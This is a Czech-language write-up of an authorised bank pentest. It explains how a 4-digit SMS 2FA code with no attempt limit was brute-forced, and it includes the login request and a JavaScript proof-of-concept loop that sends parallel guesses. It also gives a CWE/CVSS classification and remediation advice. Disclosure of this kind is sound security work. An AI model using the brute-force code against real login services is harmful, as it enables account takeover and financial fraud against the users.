Obcházení SMS-2FA prostřednictvím brute-force: analýza pentestu banky
Během autorizovaného black-box pentestu velké bankovní infrastruktury (4000 hostů, 4500 uživatelů) byla zjištěna možnost obcházení SMS-2FA v osobním účtu pro finanční žádosti. Zločinec s telefonním číslem oběti mohl plně automatizovat prohledávání 4-místného kódu bez omezení pokusů a získat přístup ke pasovým údajům, historii žádostí a nástrojům pro podvodné transakce.
Přístup umožňoval uzavírání úvěrů, projektové financování a potvrzování plateb prostřednictvím podpory – bez dalších ověření. Entropie kódu (10 000 kombinací) umožňovala prolomení za sekundy.
Analýza API a autentizační logiky
Proces přihlášení byl založen na dvou koncových bodech:
- Požadavek na SMS:
POSTvrací{"repeat":180}, což blokuje opakování na 3 minuty. - Ověření kódu:
POST /api/*****/logins tělem{"code":"0548","phone":"+7(111)222-22-22"}.
Odpověď na špatný kód je HTTP 400 s hláškou "Telefonní číslo nebo kód je neplatný". Správný kód vrací HTTP 200 s cookies (JSESSIONID, PHPSESSID). Žádné počítadlo pokusů, CAPTCHA, blokování IP nebo relace. Každý požadavek se zpracovával nezávisle.
POST /api/*****/login HTTP/1.1
Host: ****
Content-Type: application/json
{"code":"0548","phone":"+7(111) 222-22-22"}
Implementace exploita v JavaScriptu
PoC využíval prohlížečovou relaci k obejití CORS a SameSite. Hlavní cyklus spočíval v paralelním prohledávání ve 20 vláknech:
await fetch('https://roga_and_copyta/*****/api/*****/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({code: codeStr, phone: phone})
});
for (let i = 0; i < 20; i++) {
turboThread(i, start, end); // Rozsah kódů
}
if (response.status === 200) {
foundCode = codeStr;
// Automatické vyplnění pole
}
Úspěch byl určen podle stavu 200. Podobný skript fungoval i v Pythonu. Čas útoku: 35 sekund na 10 000 požadavků.
Klasifikace a příčiny zranitelnosti
Zranitelnost odpovídá CWE-307 (Nesprávné omezení příliš mnoha pokusů o autentizaci). CVSS 3.1: 9,1 (Kritická) – síťová, nízká složitost, žádné oprávnění, žádná interakce uživatele.
Fatální chyby v návrhu:
- Priorita pohodlí: absence blokování kvůli zamezení stížností na opakované chyby.
- Ignorování automatizace: 4 cifry jsou odolné proti člověku, ale ne proti skriptu.
- Chybějící testy na brute-force.
Doporučení k odstranění
Pro víceúrovňovou ochranu doporučujeme:
- Omezení 3–5 pokusů na kód s rotací SMS.
- CAPTCHA po 2–3 chybách.
- 6-ciferné kódy (1 milion kombinací, doba prohledávání – hodiny).
- Monitorování anomálií: frekvence požadavků, reputace IP.
- Rate limiting podle telefonního čísla a relace.
// Příklad rate limiting na backendu (pseudokód)
if (attempts[phone] > 5) {
invalidateCode(phone);
requireCaptcha();
}
Co je důležité
- Obcházení 2FA poskytuje plný přístup k osobnímu účtu: pasové údaje, žádosti, účtové údaje, potvrzování plateb.
- 4-místný kód bez omezení – 10 000 kombinací, prolomení za 35 sekund.
- CWE-307 (CVSS 9,1): absence ochrany proti automatizovanému prohledávání.
- Doporučení: omezení + CAPTCHA + 6 číslic + monitorování.
- Pentest zjistil zranitelnost před využitím; vše bylo uzavřeno.
— Editorial Team
Zatím žádné komentáře.